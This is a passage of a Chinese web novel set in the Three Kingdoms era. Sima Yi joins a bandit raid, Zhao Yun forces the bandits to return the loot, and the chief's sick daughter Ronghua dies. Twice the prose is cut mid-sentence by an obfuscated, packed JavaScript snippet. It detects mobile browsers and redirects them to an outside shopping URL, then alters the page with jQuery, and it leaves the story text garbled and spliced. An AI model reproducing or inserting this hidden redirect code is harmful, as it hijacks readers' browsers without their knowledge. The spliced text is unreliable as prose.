顾刀疤打头,二刀子紧随其后,吆喝一声:“啊啊啊——都给爷爷们留下买路钱!”然后是其他几个司马毅叫不上名字的山匪。 司马毅走在最后,慢慢悠悠地跟随他们,镰刀为防止一个不慎伤到自己或者其他人,都是低低地垂在腿边。 他悠闲得甚至不像要去耕种的农夫。 劫掠期间,顾刀疤和二刀子俩人在前面威胁、推搡、打人。其他山匪们偶尔扬扬刀,附和着叫嚷几句,装出一副人多势众的模样。 司马毅就远远地旁观。偶尔有被几人撞倒的小童或者驴车上的物什,他顺手还帮扶了一把。 布衣文士们都觉得不可思议,下意识还与路过的司马毅,道一声:“多谢。” 司马毅摆手,直答:“不必不必。” 司马毅一直维持着与顾刀疤他们像是一伙的,但又疏远、有距离的样子。 这其中依旧不乏嘴硬、傲气,就是不愿向顾刀疤几人妥协之人,大声地控诉顾刀疤几人的滔天罪行。 顾刀疤气不过,又要动刀子。 司马毅赶忙阻止他,惊声:“诶——顾大哥,我们说好的只劫掠钱财,不伤人的。你可不能出尔反尔。” 顾刀疤没有好颜色地瞪他一眼,反驳:“我只说你不必伤人,又没说我……” 不等顾刀疤把话说完,司马毅已是抢站到顾刀疤前面,扬手便是给了那嘴硬的布衣文士一拳,打得那布衣文士弯腰、捂肚。 司马毅更警告布衣文士,“你最好听话一点,赶紧把身上所有的钱银都交出来。否则,我们大哥是真的会宰了你。” 为防止布衣文士还要争辩,司马毅又直接吩咐:“二刀子,你别管他说什么,直接去抢他身上的包裹。” 二刀子闻言,不可置信地怒瞋司马毅,一面对顾刀疤指了指自己和司马毅,状若在说,“大哥,这小子凭什么指使我”?但他另一边还是顺从地按照司马毅的吩咐,直接去抢那布衣文士的包裹。 布衣文士怒号着:“你们狼狈为奸,行不义之举,终有一日是要遭报应的。就算这报应不报在你们身上,也必将报在你们亲眷……唔。” 下一瞬,布衣文士的嘴就被司马毅勾着脖子强行捂住。 “真是什么都敢说。”司马毅小声地提醒自己面前的布衣文士,“你光嘴不怂有什么用,人家有刀,你有吗?为了活命,还是快点闭嘴吧。” 布衣文士支支吾吾,嗓音含糊不清,义正辞严,“就算是死,我也与你们这群贼寇抗争到底!” 司马毅以为他是一点都不听劝,懒得再管他,又给了他腰腹一拳,叫他疼得说不出话来,方才推开他,让他滚到一边去。 就在司马毅假装自己已经完全融入顾刀疤他们的时候,身后忽然传来一阵紧凑的马蹄踏地和跑步声,伴随着些许铜铁片撞击的“叮铃哐当”声。 司马毅还没反应过来,二刀子已是惊呼道:“大哥,是新野的那群人,是赵子龙,是常山赵子龙领着一群兵士过来了。” “我们要不要跑?”这一句,二刀子说得极小声。 顾刀疤听了,垂眸望了望自己手中口袋里的钱银,稀稀拉拉的一小点,莫说是给绒花买药,都不够他们几天饭钱。 顾刀疤愤懑地回答:“不走。老子就不信这赵子龙还能弄死老子不成。” 话罢,顾刀疤提着断刀,便直接向那一群将士的来处迎去。 司马毅激动地回头。常山赵云赵子龙,自己在未来久闻其大名,却还没有见过他的真容。都说他……司马毅定睛顿了顿。 逆着日光而来的一行将士,领头的那人因为身穿蓝衣银甲,浑身散发着耀眼的光芒。又由于枪和马也都是白的,飘飘然仿若自天界降临凡间的战神。 看上去不过二三十岁的青年人,身型挺拔、匀称、高大,不至于魁梧若崇山,但被束袖和系带绑缚的手足腕间皆可见起伏的肌肉线条。 他生得俊美,不是粗犷的长相,反而颇有几分清秀英气,剑眉凤目、皮肤浅麦、睫羽纤长。但也并不会因此就减弱分毫他身上的凌云之气。 他就是一位美貌与威武并存的青年将军。 青年将军纵目向马下,望着气势汹汹而来的顾刀疤,嗓音清朗地说道:“顾大当家的,我们又见面了。” 顾刀疤不耐烦地回答:“你从新野出来到这鹊尾坡不就是为了来见我,装什么偶遇模样?怎么,又是有人同你们新野报官,让你们来抓我?” 青年将军波澜不惊地回答:“是。” “但你知晓你抓不了我们。你们新野太小,可关不下我们整个寨子,若是转交到襄阳去,刘荆州才懒得管我们这些山匪。再者说,我顾刀疤尽管武艺不及你,但鹊尾坡易守难攻,你就领这些人便想剿灭我们潜龙寨,绝无可能。”顾刀疤条理清晰地反驳。 青年将军闻言,先是一顿,而后微微笑起,欣然说道:“所以,我本也不是来剿灭你们潜龙寨的。但我今日既然来了,你今日就休想从这一众百姓身上取走分毫。” “左右听令。”赵子龙威严一声,又道,“将这周围团团围住,劳顾大当家的将手中钱银还给在场的所有百姓。若顾大当家的不愿,这新野就算关不下潜龙寨,也关得下顾大当家与随行的这几位弟兄。” 说话间,青年将军身后的一众兵士整齐划一、迅速而出。不一会儿便把司马毅等人伴随着布衣文士和难民全都围住了。 不少难民表示自己并没有被抢。拦着他们的兵士便当即放他们离开。那个被司马毅打过的布衣文士见有了倚仗,控诉得最为大声:“还请赵将军为小民作主。这鹊尾坡的山匪们不仅抢去了小人的包裹、钱银,还殴打小人。” 青年将军听了,更使眼色,让近前的兵士去要顾刀疤手中的布口袋。 他看了看顾刀疤面有不忍,又看了看那激奋的布衣文士,好声规劝,“云待会便让顾大当家的把钱银还给先生。只是这殴打一说,云瞧着先生身上也无大无损伤,想来顾大当家也是手下留情了。这山匪素来凶恶,先生为防止被报复,还是得饶人处且饶人吧。” 布衣文士觉得赵云说得在理。他纵然愤懑,也确实畏惧顾刀疤几人的凶神恶煞,当即面色白了白,不过依旧装作强硬地对着顾刀疤冷哼一声。 顾刀疤瞪他一眼,他立马瑟缩着脖子。 兵士要钱的手已经伸到顾刀疤手边。顾刀疤紧攥着手中的粗布口袋,粗糙、漆黑的五指竟也能看出泛白。 顾刀疤紧捏着口袋不愿交出去,青年将军提醒他,“顾大当家的,还请你不要让某为难。” 顾刀疤沉吟着,先是垂着头,表情难看。而后,猛地抬起,直直地望向坐在马上的赵云,郑声:“今日赵将军就算杀了我,我也不会把这些钱银交还回去。潜龙寨为何立寨,我们又为何在新野城外这么多年,赵将军也没有彻底剿灭我们。想来也是知晓其中苦楚。今日我确也是逼不得已,还请赵将军待会拿人之际,放过我的弟兄们,只抓我回去。” 顾刀疤话罢,更将粗布口袋捏紧。 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾刀疤闻声回眸,一一望过去。二刀子被反压着双手,头抵在地上,肩头与手臂都负了伤。陈伯老了,不用兵士怎么看管,随便一脚便是踢得他在地上打滚,爬都爬不起来。鸟子还小被掰折了手臂,痛得涕泗横流……就连司马毅,好心相帮他之人,也被兵士踩在脚下,动弹不得。 他顾然要救绒花,可是又怎么能舍弃这些弟兄? 顾刀疤的眼眶泛出猩红之色,沉沉地垂首,嗓音嘶哑、泄气道:“钱银我不要了、不要了……还请赵将军放过他们。” “大哥!”众山匪齐呼,想要阻止顾刀疤。 顾刀疤却只是无声地摇头。 如果没有这些钱,绒花就没有药吃,甚至绒花会死。 司马毅趴在地上,突然顾不得令自己羞愤的屈辱,大声嚷叫起来,“赵将军既是能为天下百姓出头,为什么不能为我们潜龙寨的山匪出头?我们是山匪,却也是荆州百姓。如今世道即乱,商贾哄抬物价,寨中老幼吃不起药,已垂垂将死。也请将军救救我们!” 如此一言,赵云转身的动作顿了顿。他再次回首,望向面前的顾刀疤,思忖着,又道:“顾大当家的,我曾提议过,若是你寨子里的兄弟们过不下去,可皆来投靠我主从军。” 顾刀疤嗤笑一声,回答:“可老子也说过,老子和弟兄们走不了。我们走了,寨子里的那群老人、妇孺怎么办?皇叔麾下能将我们尽皆收留吗?” 这下是赵云说不出话来。不用赵云说,答案也昭然若揭。刘备麾下收容不得这许多人。刘备本就是寄居在荆州,受人辖制,兵众稀少,莫说养潜龙寨,就是如今都快自身难保。 赵云也不再说,而是将手中钱银一一还给还在场的布衣文士们。剩下的一些,人都跑了,也寻不回失主,赵云又递回到顾刀疤手边,还自己放了些五铢、碎银进去。 赵云道:“云与皇叔也想救诸位,却实在无能为力。城中药价,我回去后,会禀明皇叔尽力压制。但结果如何,也未必能如你我所愿。” “你们走吧。”赵云怅然。 33. 第三十三章 司马毅跟随顾刀疤几人垂头丧气地回到潜龙寨的时候,二刀嫂正拉了张春华,迎上前来,殷切地询问他们:“如何?” 顾刀疤不答话。二刀嫂便看向自家夫婿,二刀子对二刀嫂摇了摇头。二刀嫂的面上露出悲泣之色。 顾刀疤反问她道:“绒花呢,还好吗?” 二刀嫂沉重地亦是摇了摇头,长长地叹息一声,片刻后才说道:“绒花如今只能躺着,偶尔坐起片刻,稍微说会话,都气喘吁吁。” 眼见二刀嫂红了眼眶,二刀子上前揽着二刀嫂柔声安慰。 张春华无奈地看司马毅,司马毅亦是莫可奈何地回望张春华。 五人之间一时寂静,静得只余山野间偶尔“沙沙”响起的风声。 半晌后,顾刀疤将手中装有些许钱银的布口袋交给二刀子,一边抬步欲走,一边吩咐:“拿这些钱,去给绒花买只鸡炖汤,再拿几副药。” “我去看看绒花。” 顾刀疤的身影很快消失。 二刀子顺从地颔首,领着二刀嫂欲往山下去。整个宽阔的后院空场就只剩下司马毅和张春华。 司马毅静静地凝视张春华,张春华想安慰他,遂微微莞尔。 张春华笑靥明媚、温柔,但越是如此,司马毅觉得心中的悲伤更甚。他上前拉了张春华的手,握紧,怅声:“为什么我们离开许都没有带更多的钱。若是我们还有钱,就能救绒花了。” 张春华对司马毅摇头,想劝他不要把什么事情都怪在自己身上。 司马毅又道:“明明顾刀疤他们是恶人,烧杀抢掠,就该恶有恶报。可是,绒花又做错了什么呢?她只是一个不满旬岁的孩童。倘若,拦路打劫都无法凑齐那些给绒花吃药的钱,顾刀疤他们又何尝不更可怜?” “春华,我不明白,为什么这个世道,贫苦良善之人只能受到欺压。可欺压他人之徒也并非逍遥自在。他们每个人都有逼不得已的苦衷。那到底是谁,什么人才能安然地享受这世上的一切?” “曹操吗?还是那位高高在上的陛下?” “想来曹司空也不能吧。”张春华微微叹息,努力装作轻松地回答,“他虽衣食无忧,不愁吃药、看病,但是在此之外,他要统领军队、掌管数州,定是日夜忧思。一个不慎,不仅全家全族遭殃,就连那些跟随他的部署也都将万劫不复。” “陛下就更不能了。”张春华凄苦一笑,又道,“陛下如今虽居高位,可朝政把控在曹操手中,四野诸侯又虎视眈眈。他势单力薄,曾想诛灭曹操,却反被曹操害了妻儿。” “想来,是从前的几位陛下享乐太过,又或者十常侍之乱彻底摧毁了整个大汉的根基,还或者这泱泱大汉四百年早就烂透了,到了如今才显现出来。总之,如今这个世道,谁都不敢说一声享受。” 张春华纵目望向这山野之间,四周除了破砖烂瓦和草木丛林,便没有其他。但饶是如此,她眼前仿佛已经显现民不聊生、哀鸿遍野之景。 张春华周身被悲慨萦绕,司马毅想上前带她走出这种压抑的氛围之中,可是他越靠近,越觉得自己也快被吸进去。 司马毅突然开口:“那我能做什么?” 张春华闻言,回眸望他,郑重回答:“以一己之力,尽力博弈,寻志同道合者,改变这个乱世。” “我可以吗?”司马毅并不自信。 张春华稍稍莞尔,“我也不知晓,但总要去试过才清楚答案。以及,也不必着急。我们还有很多时间去再到处走一走,看一看。” “好,再走一走,看一看。”司马毅也总算勉为其难地微笑起来。 这日傍晚,二刀子和二刀嫂前往新野城中,买了鸡和汤药回来。张春华帮二刀嫂给绒花煎药,二刀嫂则专心地烹煮鸡汤。 闻着浓郁的香味,二刀嫂欣然,“好些年没吃过这些了。如今,沾着绒花的光,即便还是吃不到,能闻闻也是好的。” 张春华不知该不该安慰她,迟疑了片刻,遂没多言,只附和:“是啊,这鸡汤真香。绒花一定也很喜欢这口。” “肯定的。”二刀嫂笑意更甚,一边用手搓着衣摆,一边又道,“我去问问绒花、顾大哥他们,今夜想在哪用晚食。” 张春华答应:“你去吧,我帮你看着火。” 二刀嫂对张春华感激一笑,而后匆匆地跑远,朝着那间张春华最初被绑来待着的简陋屋室。 屋室里,司马毅、顾刀疤和二刀子,都在陪着绒花。里面点了灯,烛光昏昏黄黄,又被晚风吹得摇摇曳曳。 绒花靠在顾刀疤怀里,面容平和且宁静。顾刀疤在同她说,山下的人都是什么样子的。不远处的新野城又是怎样的繁华。 “待我们绒花病好一些,阿爹就带你去新野城内瞧瞧。”顾刀疤扬声道。 绒花高兴地回答:“好。阿爹可要说话算话啊。” “一定算话、一定算话。”顾刀疤喃喃。 二刀子更附和:“绒花,到时候二刀叔也陪着你们一起好不好?让你阿爹领着我们,二刀叔就扛着你,你想去哪里,二刀叔就往哪里走。” 说到后来,二刀子一个男子汉竟有些哽咽起来。 顾刀疤回眸瞪二刀子,绒花却是没有注意,或者注意到了也没在意,更愉快地答应:“好啊好啊。绒花不仅要二刀叔陪,还要雪娘姊姊陪。姊姊总说下山的市集可热闹了,有许多璎珞、花绳,还有胭脂水粉。” “绒花也想抹胭脂水粉。”小姑娘已到了爱美的年纪。 顾刀疤又道:“好,阿爹都给绒花买。” “那仲哥哥,你也去过新野城吗?”绒花年纪小小的,已颇能照顾所有人的感受,不仅与自家父亲、叔父说过话,还不忘与一直待在旁边,没有开口的司马毅,闲谈几句。 司马毅克制着内心的情绪,也努力雀跃地回答她,“仲哥哥可没有去过新野城。仲哥哥还是第一次到荆襄来。” “那仲哥哥从前在什么地方。”小姑娘好奇但虚弱地询问。 司马毅粲然一笑,故作骄傲地又答:“你仲哥哥我啊,可是从都城许昌而来。那是一个远在鹊尾坡之外,千八百里的地方。” “都城很繁华吗?”小姑娘继续询问。 司马毅颔首,“繁华,不仅繁华,来往皆是行人,那些行人的穿着打扮可富贵、时髦了。” “时髦是什么意思?” “就是很漂亮的意思。” “那有机会,仲哥哥可以带绒花也去许都看看吗?绒花从小还没有离开过鹊尾坡,去到都城呢。”小姑娘满怀期待地望向司马毅。 司马毅自是立刻就想答应,可他又不忍欺骗一个单纯的小姑娘,说自己或许做不到,就算自己想要践诺,绒花的身体已不允许。可他又不忍心让小姑娘失望。 司马毅磨蹭了良久,最终还是点头如捣蒜,嗓音低低的,带着哀伤,“好,等绒花病好了,仲哥哥一定带绒花去许都。带绒花去看看皇宫的城墙有多高,都城的酒肆有多少种酒。运气好的话,说不定还能瞧见公主、皇妃。” “好诶,绒花要去。”绒花兴高采烈。 二刀嫂不忍心,但还是没有办法地打断他们,堆着满面的笑意,只望向躺在榻上的绒花,询问:“那绒花今夜是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062445|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想在哪里喝鸡汤呢,是就在房里,还是去新野或者许都?” 二刀嫂有意与绒花开玩笑。 绒花嗔怪,“二刀婶说什么呢,绒花又不会飞,怎么能就在新野和许都吃晚饭、喝鸡汤?” “阿爹,绒花今夜想在院子里吃饭,可以吗?”下一瞬,绒花便轻轻地拽着面前顾刀疤的衣袂一边摇晃,一边撒娇。 顾刀疤刚想摇头,回答说外面灰尘太大了,绒花已是委屈巴巴地央求,“阿爹,绒花都好久没有出过屋子了。绒花想出去,闻闻树和花的味道。绒花还想与阿爹,二刀叔、二刀嫂,还有仲哥哥、雪娘姊姊一起开开心心、说说笑笑地吃饭。” “好不好嘛,求求阿爹了。”小姑娘睁着大大的眼睛。其实,绒花的眼睛本不算大,但因为瘦脱了相,显得格外清晰、璀璨。 顾刀疤不忍拒绝,又看绒花的脸色已经惨白到几无血色,唇瓣也干燥起皮。顾刀疤最终还是沉沉地颔首:“好,去院子里,今夜我们就都陪着绒花在院子里喝鸡汤。” 大半个时辰后,鸡汤炖好了,二刀嫂还简单做了些菜,以两三张长案拼接着,摆了不少破破烂烂、起着毛边的苇席,邀顾刀疤等人带着绒花入座。 绒花坐在顾刀疤的右边。她刚坐下,便伸手向司马毅,笑说:“绒花也要仲哥哥陪着绒花坐。” 司马毅自然无有不从,即便觉得位置太高了,顾刀疤也悄悄向他颔首,催促他就都听绒花的吧。 于是,二刀子气愤地坐在了司马毅之下。 二刀嫂特意将第一碗鸡汤盛给绒花,撇去了上面的浮油,还放了一只鸡腿。 浓香传来,绒花顿时口涎欲滴。 她拿起木勺,舀了热汤就往嘴里送,不出意外被烫了一遭。绒花吐出鸡汤,然后疯狂地咳嗽起来。 顾刀疤仓皇地为她抚背、顺气,眼眶都绯红、氤氲了。 但等绒花好一些,顾刀疤还是笑她,“你这丫头慢一点,又没人同你抢。” 绒花不以为意,又去舀了鸡汤,递到顾刀疤嘴边,认真:“阿爹,吹。”顾刀疤给她吹了两三下,到确定鸡汤已是温热,绒花一把将鸡汤喝了下去。 小姑娘沉浸在鸡汤的美味中,笑嘻嘻地说着:“阿爹,这鸡汤真好喝。下辈子,绒花长大,也给阿爹买鸡汤喝。” 小姑娘虽然之前什么都没说,但她又好像什么都懂。 顾刀疤瞋她,怒斥:“胡说八道什么!” 绒花却是摇头,依旧坚持,带着哭腔道:“阿爹,绒花下辈子还要做阿爹的女儿,做阿爹的亲女儿。” “你本就是阿爹的亲女儿。”顾刀疤一把将绒花揽进怀中。 绒花笑靥如花,拍了拍她阿爹,娇嗔,“阿爹,你弄疼绒花了。绒花还要继续喝鸡汤呢。” 顾刀疤赶忙又松开了绒花。 绒花垂下头去,静静地一勺一勺地舀着鸡汤。她先是微微地咳嗽,而后不停地喘息,到最后整个后院只余她愤力却还是没有办法顺畅、平复的呼吸。 “绒花——”顾刀疤声嘶力竭。 司马毅跌跌撞撞地爬起来,抓着每一个人,郑重地询问:“药呢,汤药呢,快给绒花喝药啊。” 每个人回答他都是不停地摇首。 司马毅又转身要跑,高声嚷嚷着:“绒花的药喝完了是吗?我去给她买。没有钱,我去抢,即便是打人、伤人,我也可以的。我也可以去新野的药铺抢。” “仲达。”依稀间,好像是张春华在唤他。 还有顾刀疤沉重且疲累的嗓音,“仲兄弟,弟妹,你们明日就下山,离开潜龙寨吧。”